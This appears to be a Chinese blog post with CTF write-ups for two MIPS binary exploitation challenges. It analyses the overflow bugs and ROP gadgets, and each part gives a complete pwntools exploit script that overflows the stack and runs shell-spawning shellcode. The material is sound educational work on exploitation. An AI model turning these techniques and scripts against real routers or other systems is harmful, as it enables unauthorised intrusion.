zoukankan      html  css  js  c++  java
  • MIPS Pwn赛题学习

    MIPS Pwn writeup

    Mplogin

    静态分析

         mips pwn入门题。

        mips pwn查找gadget使用IDA mipsrop这个插件,兼容IDA 6.x和IDA 7.x,在IDA 7.5中解决方案可以参考这个链接:https://bbs.pediy.com/thread-266102.htm

        程序流程比较简单,输入用户名和密码进行登录操作。

       漏洞存在在vuln函数中,buf只有20字节的空间,但是read函数填充了36字节的数据,覆盖了栈内变量length,将length修改为一个很大的值,在第二次read的时候,就可以溢出修改$ra寄存器保存的地址,劫持数据流。

    动态调试

         运行和调试环境:qemu-mipsel-static + chroot +IDA远程调试。

       漏洞点比较明确,保护机制也不多,MIPS不支持NX就给了我们向栈区写入shellcode的权利,溢出控制$ra寄存器直接跳转到shellcode处就可以了。

      由于栈区地址是未知的,在没有开启aslr的情况下,可以直接确定shellcode的地址,开启aslr保护之后,首先要泄露一个栈地址。可能存在地址泄露的点,在sub_400480函数中,跟进这个函数,看一下栈的布局。

       $sp寄存器的值是0x7ffff688,buf的地址在$sp指向的栈顶加18字节处,也就是0x7ffff800是buf起始地址。

       栈中的布局如上图所示,memset初始化了缓冲区,但是如果填充了24个可见字符的话,就会泄露出0x7ffff6a0,0x7ffff6a0是main函数栈顶地址。

       泄露出一个栈地址,可以帮助我们绕过aslr的保护,让我们可以把shellcode布置在栈上,然后控制$ra寄存器精准跳转到栈上来执行shellcode。

      要执行mips的shellcode,需要mips和mipsel的链接器,所以需要安装binutils-mips-linux-gnu和binutils-mipsel-linux-gnu。

    apt-get install binutils-mips-linux-gnu
    apt-get install binutils-mipsel-linux-gnu

    漏洞利用

    from pwn import *
    context.log_level = 'debug'
    context.arch = 'mips'
    context.os = 'linux'
    
    p = process(["qemu-mipsel","-L","./","./Mplogin"])
    elf = ELF('./Mplogin')
    libc = ELF('./lib/libc.so.0')
    
    p.recv()
    payload = 'admin'+'a'*18
    p.sendline(payload)
    p.recvuntil('a'*18+'
    ')
    main_sp = u32(p.recvn(4))
    vuln_sp = main_sp - 0x68
    log.success("main $sp : %s"%main_sp)
    log.success("vuln $sp : %s"%vuln_sp)
    
    p.recvuntil('Pre_Password : ')
    payload = 'access'
    payload = payload.ljust(0x14,'a')
    payload += p32(0x200)
    payload = payload.ljust(35,'b')
    p.sendline(payload)
    
    shellcode = pwnlib.shellcraft.mips.sh()
    shellcode = pwnlib.asm.asm(shellcode)
    
    p.recvuntil('Password : ')
    payload = '0123456789'
    payload = payload.ljust(0x28,'a')
    payload += p32(vuln_sp + 0x68)
    payload += shellcode
    p.send(payload)
    
    p.interactive()

      对于mips架构,我们依然可以通过pwntools来进行动态调试。

      首先填充字符串,泄露地址信息。

       然后改写length的值为0x200。

       在第二次调用read的时候,可以看到$a2寄存器被修改为了0x200。

     

      

       输入点距离保存$ra寄存器地址的偏移是0x28字节,在保存$ra寄存器的地址后面布置好shellcode就可以愉快getshell了。

    HWS结营赛题:Pwn

    Analysis

      题目的关键代码都在pwn这个函数中。

    bool pwn()
    {
      int v0; // $v0
      _BOOL4 result; // $v0
      int v3; // [sp+0h] [+0h] BYREF
      int v4[2]; // [sp+10h] [+10h] BYREF
      _BYTE *v5; // [sp+18h] [+18h]
      _BYTE *heap_ptr; // [sp+1Ch] [+1Ch]
      unsigned int i; // [sp+20h] [+20h]
      int j; // [sp+24h] [+24h]
      int v9; // [sp+28h] [+28h]
      int v10; // [sp+2Ch] [+2Ch]
      int v11; // [sp+30h] [+30h]
      int *v12; // [sp+34h] [+34h]
      int *v13; // [sp+38h] [+38h]
      int *v14; // [sp+3Ch] [+3Ch]
      int read_count; // [sp+40h] [+40h]
      int separated_idx; // [sp+44h] [+44h]
      _BYTE *size; // [sp+48h] [+48h]
      int group_num[3]; // [sp+4Ch] [+4Ch] BYREF

      heap_ptr = (_BYTE *)malloc(512);
      puts("Enter the group number: ");
      if ( !_isoc99_scanf("%d", group_num) )
      {
        printf("Input error!");
        exit(-1);
      }
      if ( !group_num[0] || group_num[0] >= 0xAu )
      {
        fwrite("The numbers is illegal! Exit... ", 1, 32, stderr);
        exit(-1);
      }
      group_num[1] = (int)&v3;
      v9 = 36;
      v10 = 36 * group_num[0];
      v11 = 36 * group_num[0] - 1;
      v12 = v4;
      memset(v4, 0, 36 * group_num[0]);
      for ( i = 0; ; ++i )
      {
        result = i < group_num[0];
        if ( i >= group_num[0] )
          break;
        v13 = (int *)((char *)v12 + i * v9);
        v14 = v13;
        memset(heap_ptr, 0, 4);
        puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
        read_count = read(0, heap_ptr, 768);        // heap overflow
        if ( v13 )
        {
          v0 = atoi(heap_ptr);
          *v14 = v0;
          separated_idx = strchr(heap_ptr, ':');
          for ( j = 0; heap_ptr++; ++j )
          {
            if ( *heap_ptr == ' ' )
            {
              v5 = heap_ptr;
              break;
            }
          }
          size = &v5[-separated_idx];
          if ( !separated_idx )
          {
            puts("format error!");
            exit(-1);
          }
          memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
        }
        else
        {
          printf("Error!");
          v14[1] = 'aaa';
        }
      }
      return result;
    }

      题目中,首先申请了一个chunk,chunk的大小是512字节,这个chunk在后面的输入中会被溢出。

      

       申请出chunk之后,会要求我们输入group number,输入的group number会进行检查,首先要求输入的必须是数字,同时输入的第一个字节要么是空格,要么是' ',否则就会exit(-1)退出执行流程。

        read_count = read(0, heap_ptr, 768);        // heap overflow
        if ( v13 )
        {
          v0 = atoi(heap_ptr);
          *v14 = v0;
          separated_idx = strchr(heap_ptr, ':');
          for ( j = 0; heap_ptr++; ++j )
          {
            if ( *heap_ptr == '
    ' )
            {
              v5 = heap_ptr;
              break;
            }
          }
          size = &v5[-separated_idx];
          if ( !separated_idx )
          {
            puts("format error!");
            exit(-1);
          }
          memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
        }

      存在堆溢出的同时,在后面还有对memcpy这个危险函数的调用,memcpy的源地址和目的地址都是栈中保存的地址,size是用户可控的,我们需要通过调试,来进一步了解栈布局,看看这里有没有发生溢出的可能。

    debug

      在调用memcpy函数之前,看一下$a0,$a1,$a2三个寄存器的值。

     

       $a0保存的是一个栈区地址,而memcpy的第三个参数是可控的,这样一来,确实有造成栈溢出的危险。

      回溯一下memcpy第三个参数size。

       如图所示的代码就是size被赋值的操作,可以看到,size的值是heap_ptr-separated_idx的值,就是说我们":"后面输入的长度决定了size的大小,如果":"后面输入的数据特别长的话,自然就发生溢出了。memcpy拷贝的数据也就是堆里的数据,所以我们控制好冒号后面的数据,就可以覆盖保存$ra寄存器的地址,继而劫持执行流程。

       如图所示,返回地址距离栈顶的偏移是0xA4字节,所以首先填充0xA4字节的padding,然后再覆盖返回地址控制$ra寄存器。

       这道题目,基本也是没有开保护机制,虽然checksec显示有canary保护,但是在pwn函数中没有canary。主要要考虑的还是如何绕过aslr的保护。这道题中没有泄露信息的地方,所以只能考虑构造rop chain去绕过aslr。由于程序是静态链接,所以不能ret2libc去找system函数。那么如果可以泄露出一个栈地址的话,继续ret2shellcode也是可以的。

      IDA中有一个寻找gadget的好工具mipsrop,在github中可以找到:https://github.com/tacnetsol/ida

      关于mipsrop,这个帖子里有一些很好用的技巧:https://www.cnblogs.com/hac425/p/9416864.html

       在离开pwn函数的时候,可以通过布置栈数据,继而控制一些寄存器的值:

       泄露栈地址的话,需要借助到一些输出函数,常见的输出函数puts,write,printf等等在这个静态链接的程序中都可以找到。不同的函数需要的寄存器不同,需要注意的条件也不同,puts函数最大的限制是不能输出'x00'截断符,但是需要的参数少。write函数对应的限制就是有三个参数,需要精心构造。

      将栈地址填充到寄存器的gadget有下面这些:

       方便函数调用的gadget可以用mipsrop.tail()或者mipsrop.doubles()来查找。

      mipsrop.stackfinders()里面有将栈地址填充到$v0的gadget,而mipsrop.tail()中有跳转到$v0的操作,这样看来,如果控制好shellcode在栈中的布局,直接填充到$v0中,再跳转到$v0寄存器指向的地址就直接可以执行了。

    from pwn import *
    context.log_level = "debug"
    context.arch = "mips"
    context.endian = "big"
    context.os = "linux"
    
    p = process(['qemu-mips','./h4pwn'])
    stack_a1 = 0x44AEFC
    # 0x0044AEFC  |  addiu $a1,$sp,0x64+var_28  |  jalr  $s5
    li_a1_1 = 0x41F4E8
    # 0x0041F4E8  |  li $a1,1                   |  jalr  $s1
    move_a0_a1 = 0x4384c0
    # 0x004384C0  |  move $a0,$a1               |  jalr  $s2     
    move_a2_s7 = 0x44B534
    # 0x0044B534  |  move $a2,$s7               |  jalr  $s0
    move_t9_s4 = 0x41F9B4
    # 0x0041F9B4  |  move $t9,$s4               |  jalr  $s4
    jr_v0 = [0x45882C,0x458884]
    # 0x0045882C  |  move $t9,$v0               |  jr    $v0
    # 0x00458884  |  move $t9,$v0               |  jr    $v0
    stack_v0 = 0x44B1EC
    # 0x0044B1EC  |  addiu $v0,$sp,0x6C+var_40  |  jalr  $s2
    write_addr = 0x41E290
    pwn_addr = 0x400634
    start_addr = 0x400360
    main_addr = 0x400AB8
    elf = ELF('./h4pwn')
    
    shellcode = pwnlib.shellcraft.mips.sh()
    shellcode = pwnlib.asm.asm(shellcode)
    
    p.recvuntil("number: 
    ")
    p.sendline(' 1')
    p.recvuntil("eg => '1:Job.' 
    ")
    '''
    payload = '1:'
    payload += 'a'*20
    payload += 'a'*0x58
    payload += p32(move_t9_s4)              # $s0
    payload += p32(move_a0_a1)              # $s1
    payload += p32(stack_a1)                # $s2
    payload += p32(stack_a1)                # $s3
    payload += p32(write_addr)              # $s4
    payload += p32(move_a2_s7)              # $s5
    payload += p32(move_a2_s7)              # $s6
    payload += p32(4)                       # $s7
    payload += p32(0xdeadbeef)              # $fp
    payload += p32(li_a1_1)                 # $ra
    payload += 'a'*0x28
    payload += p32(pwn_addr)
    p.sendline(payload)
    
    main_sp = u32(p.recvn(4)) - 0x2c
    log.success("main_sp address: %s"%hex(main_sp))
    '''
    payload = '1:'
    payload += 'a'*20
    payload += 'a'*0x58
    payload += p32(jr_v0[1])*8              # $s0 - $s7
    payload += 'aaaa'                       # $fp
    payload += p32(stack_v0)                # $ra
    payload += 'a'*0x2c
    payload += shellcode
    payload += '.'
    
    p.sendline(payload)
    #p.recv()
    p.interactive()

     总结

       mips pwn的rop chain相对于x86架构来说,稍微复杂一些,主要是控制的寄存器不同,栈桢结构有所不同,构造方式更加多样化,所以在选择构造rop的时候,合理借助mipsrop这种工具,注意复杂函数返回时恢复寄存器现场的情况,提前布置好参数。但是利用方式也相对更粗暴一些,主要是由于mips架构硬件的原因,不能支持NX,所以很多时候关键在于合理布置shellcode,避免坏字符等等问题。路由器目前主流的漏洞利用方式还是rop,公开的堆漏洞并不多,所以熟练掌握mips架构下rop技术是学习路由器漏洞利用的必经之路。

      千变万化,rop这种技术基本的框架还是没有变,核心思想还是控制返回地址,控制指令寄存器,劫持程序的执行流程,做完这两题,对于mips rop更加熟悉一些,方便后面进行一些路由器漏洞的复现。

      

       

  • 相关阅读:
    关于Scala中正则表达式的几种用法
    关于Scala中的match case方法的使用
    scala——Array函数大全
    线程并发的两种方式
    org.apache.hadoop.security.AccessControlException: Permission denied: user=anonymous, access=EXECUTE——beeline 连接 hive 默认权限 anonymous用户权限不够
    hive函数大全
    hive的配置和HQL的查询优化
    Java-Web学习笔记-Java基础-反射
    BUAA OS Lab4 系统调用与fork
    设计模式(三)——结构型模式,如何搭建健壮且更好维护的系统
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/14720432.html
Copyright © 2011-2022 走看看